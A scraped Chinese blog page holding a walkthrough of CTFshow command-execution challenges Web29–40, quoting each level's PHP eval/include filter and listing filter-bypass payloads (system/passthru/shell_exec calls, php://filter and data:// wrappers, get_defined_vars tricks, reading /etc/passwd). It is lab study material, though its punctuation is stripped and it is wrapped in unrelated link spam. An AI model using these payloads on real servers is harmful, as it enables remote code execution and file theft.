当前位置: 首页 > news >正文

网站建设论坛快速建站专业做礼品团购的网站

网站建设论坛快速建站,专业做礼品团购的网站,玩具购物网站模板,西安十强广告公司名单CTFshow-命令执行(Web29-40) CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客 总结rce#xff08;远程代码执行各种sao姿势#xff09;绕过bypass_远程命令执行绕过-CSDN博客 对比两者的源代码#xff0c;我们发现#xff0c;cat指令把flag.php的内容导出后依…CTFshow-命令执行(Web29-40) CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客 总结rce远程代码执行各种sao姿势绕过bypass_远程命令执行绕过-CSDN博客 对比两者的源代码我们发现cat指令把flag.php的内容导出后依然遵循php的语法那么没有echo语句就无法显示而tac指令将一切倒过来后就不是php语句了在html语句里就就会直接显示出来。 Web29 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){eval($c);} }else{highlight_file(__FILE__); }执行恶意代码做了过滤preg_match当$c里有flag(不区分大小写/i) 就返回1不执行eval ?csystem(‘ls’); flag.php index.php?csystem(‘cat’); 直接执行系统命令 ?csystem(“tac%20fla*”); ?csystem(“tac fla*”);利用tac与system结合拿到flag 因为可以利用system来间接执行系统命令如果flag不在当前目录也可以利用?csystem(“ls”); 来查看到底在哪里。 内敛执行: ?cecho%20tac%20fla*; fliter读 https://ea17f469-c347-4866-aaad-05898730fd29.challenge.ctf.show/?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php/?csystem(“cat%20fl*g.php”);右键源码 ?csystem(“cp fl*g.php a.txt”); ?ceval($_GET[1]);1system(“tac%20flag.php”); ?csystem(base64_decode(‘Y2F0IGZsYWcucGhw’)); Web30 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php ?cinclude$_GET[1];1php://filter/readconvert.base64-encode/resourceflag.php ?cecho%20tac%20fla*; ?cecho%20cat%20fla*; ?cecho(tac%20f*); ?ceval($_GET[1]);1system(“tac%20flag.php”); ?cpassthru(“tac%20fla*”); passthru跟execsystem差不多 https://e023300e-4277-465d-ab93-9747a4876361.challenge.ctf.show/?cecho shell_exec(tac fla*);?csystem(base64_decode(‘Y2F0IGZsYWcucGhw’)); ctfshow{8a58547f-7211-453b-9eba-9b9c4e85987b} Web31 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?ceval($_GET[a]);asystem(“cat flag.php”);?cpassthru(“tac%09f*”);?cpassthru(base64_decode(“Y2F0IGZsYWcucGhw”)); Web32 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(/i, $c)){eval($c);}}else{highlight_file(__FILE__); }?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php cinclude%0a$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php 其实两者的差距只在于一个%0a改不改无所谓下面解释各成分作用 首先是include参数1作用是包含参数1的文件运用了文件包含漏洞最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置然后是%0a作用这是url回车符因为空格被过滤。事实上删去也无所谓似乎php会自动给字符串和变量间添加空格经检验只在eval中有效echo中无效还是得要空格后面的?的作用是作为绕过分号作为语句的结束。原理是php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说就是php文件中最后一句在?前可以不写分号。在c中引用了参数1然后后对参数1定义运用文件包含漏洞 ?cinclude$_GET[1]?1data://text/plain,?php system(tac flag.php)? Web33 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\/i, $c)){eval($c);}}else{highlight_file(__FILE__); }?cinclude$_GET[1]?1data://text/plain,?php system(tac flag.php)??cinclude%0a$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php?cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php Web34 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?cinclude$_GET[1]?1data://text/plain,?php system(tac flag.php)??cinclude%0a$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php?cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php Web35 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\|\|\/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?cinclude$_GET[1]?1data://text/plain,?php system(tac flag.php)??cinclude%0a$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php?cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php Web36 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\|\|\|\/|[0-9]/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?cinclude$_GET[a]?adata://text/plain,?php system(tac flag.php)??cinclude%0a$_GET[a]?aphp://filter/convert.base64-encode/resourceflag.php?cinclude$_GET[a]?aphp://filter/convert.base64-encode/resourceflag.php Web37 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){include($c);echo $flag;} }else{highlight_file(__FILE__); }?cdata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg?cdata://text/plain,?php system(tac fla*.php)? include() 将 data:// 解释为PHP代码会直接执行 ?cphp://filter/readconvert.base64-encode/resourceflag.php不行因为过滤了flag 在 PHP 中include() 不仅能加载文件还可以加载数据流stream。PHP 支持多种流包装器Stream Wrapper如 data:// - 直接包含原始数据php:// - PHP的输入/输出流file:// - 读取文件通常默认使用这个http:// - 远程 HTTP 资源 这种方法也行不够hackbar不支持直接在post data中不以键值对形式传送所以得用burp抓包手动加 Web38 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|php|file/i, $c)){include($c);echo $flag;}}else{highlight_file(__FILE__); }把php,file也过来过滤了 直接?cdata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg Web39 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){include($c..php);} }else{highlight_file(__FILE__); }?cdata://text/plain,?php system(tac fla*.php)? Web40 ?php if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/[0-9]|\~|\|\|\#|\\$|\%|\^|\|\*|\|\|\-|\|\|\{|\[|\]|\}|\:|\|\|\,|\|\.|\|\/|\?|\\\\/i, $c)){eval($c);} }else{highlight_file(__FILE__); }全过滤了这里括号过滤的是中文括号 构造文件读取 localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.) pos():返回数组中的当前元素的值。current()与其相似。 scandir():获取目录下的文件。 array_reverse():数组逆序。 next():函数将内部指针指向数组中的下一个元素并输出。 print_r():函数用于打印变量作用对象是变量。 show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮作用对象是文件。 highlight_file():跟show_source()类似。 print_r(pos(localeconv()));print_r(scandir(pos(localeconv())));print_r((array_reverse(scandir(current(localeconv())))));show_source(next(array_reverse(scandir(current(localeconv())))));highlight_file(next(array_reverse(scandir(current(localeconv())))));echo highlight_file(next(array_reverse(scandir(pos(localeconv()))))); 构造数组rce get_defined_vars() 函数返回由所有已定义变量所组成的数组包括URL屁股后面接的pay array_pop() 函数删除数组中的最后一个元素。 reset用于将指向返回变量数组的指针指向第一个变量即c next向前移动一位指针即payeval执行返回的值就是咱们定义的恶意代码 print_r(get_defined_vars());?ceval(next(reset(get_defined_vars())));paysystem(“tac flag.php”); 这里源码只定义了一个变量即c加上引入的pay就两个变量值了 函数删除数组中的最后一个元素。 reset用于将指向返回变量数组的指针指向第一个变量即c next向前移动一位指针即payeval执行返回的值就是咱们定义的恶意代码 print_r(get_defined_vars());?ceval(next(reset(get_defined_vars())));paysystem(“tac flag.php”); 这里源码只定义了一个变量即c加上引入的pay就两个变量值了 [外链图片转存中…(img-CvyDaotT-1733923316562)] [外链图片转存中…(img-biZkr7bS-1733923316562)]
http://www.hkea.cn/news/14589796/

相关文章:

  • 室内设计好不好学360优化大师下载官网
  • 个人免费自助建站网站建筑公司网站制作
  • 中山手机网站建设电话wordpress html音乐
  • 如何设计网站布局企业做网站的公司
  • 大庆医院网站建设八桂职教网技能大赛2024
  • 怎样做社交网站免费的网页游戏
  • 有没有专做游戏脚本的网站erp网站代做
  • 河北省电力建设第一工程公司网站推广注册app赚钱平台
  • 省住房城乡建设厅门户网站东海县网站建设
  • wordpress带轮播企业站主题最新房价排行榜
  • 哪里有建网站的公司门户网站建设与管理办法
  • 网站建设 讲话如何制作统计小程序
  • 莱州官方网站南部网站建设
  • 网站建设教程所需文字接给别人做网站的活
  • 怎样做号网站优化支付宝 wordpress 插件
  • 免费推广店铺的网站网站流量增加
  • 安溪县住房和城乡规划建设局网站wordpress某个用户重定向
  • 贵州城市建设网站没有网站域名备案信息
  • 常用企业网站模板对比企业查询天眼查
  • 有网站了小程序怎么做大连哪里做网站好
  • 网站建设费需要摊销吗做衣服网站的实验感想
  • 网站后台查询软件百度指数关键词
  • 微信公众号直接链接网站怎么做梅县区住房和城市建设局网站
  • 建设厅网站查询电工证件网络营销方案规范
  • 360建站系统做网站开发工资怎样
  • 厦门唯一官方网站公司部门名称及部门职能
  • 山东省城乡住房和建设厅网站中国科技成就排比句
  • 网站营销教程济宁网站运营策略
  • 网站优化是怎么做的做深度报道的网站
  • 个人网站建设策划书湖州做网站建设的公司哪家好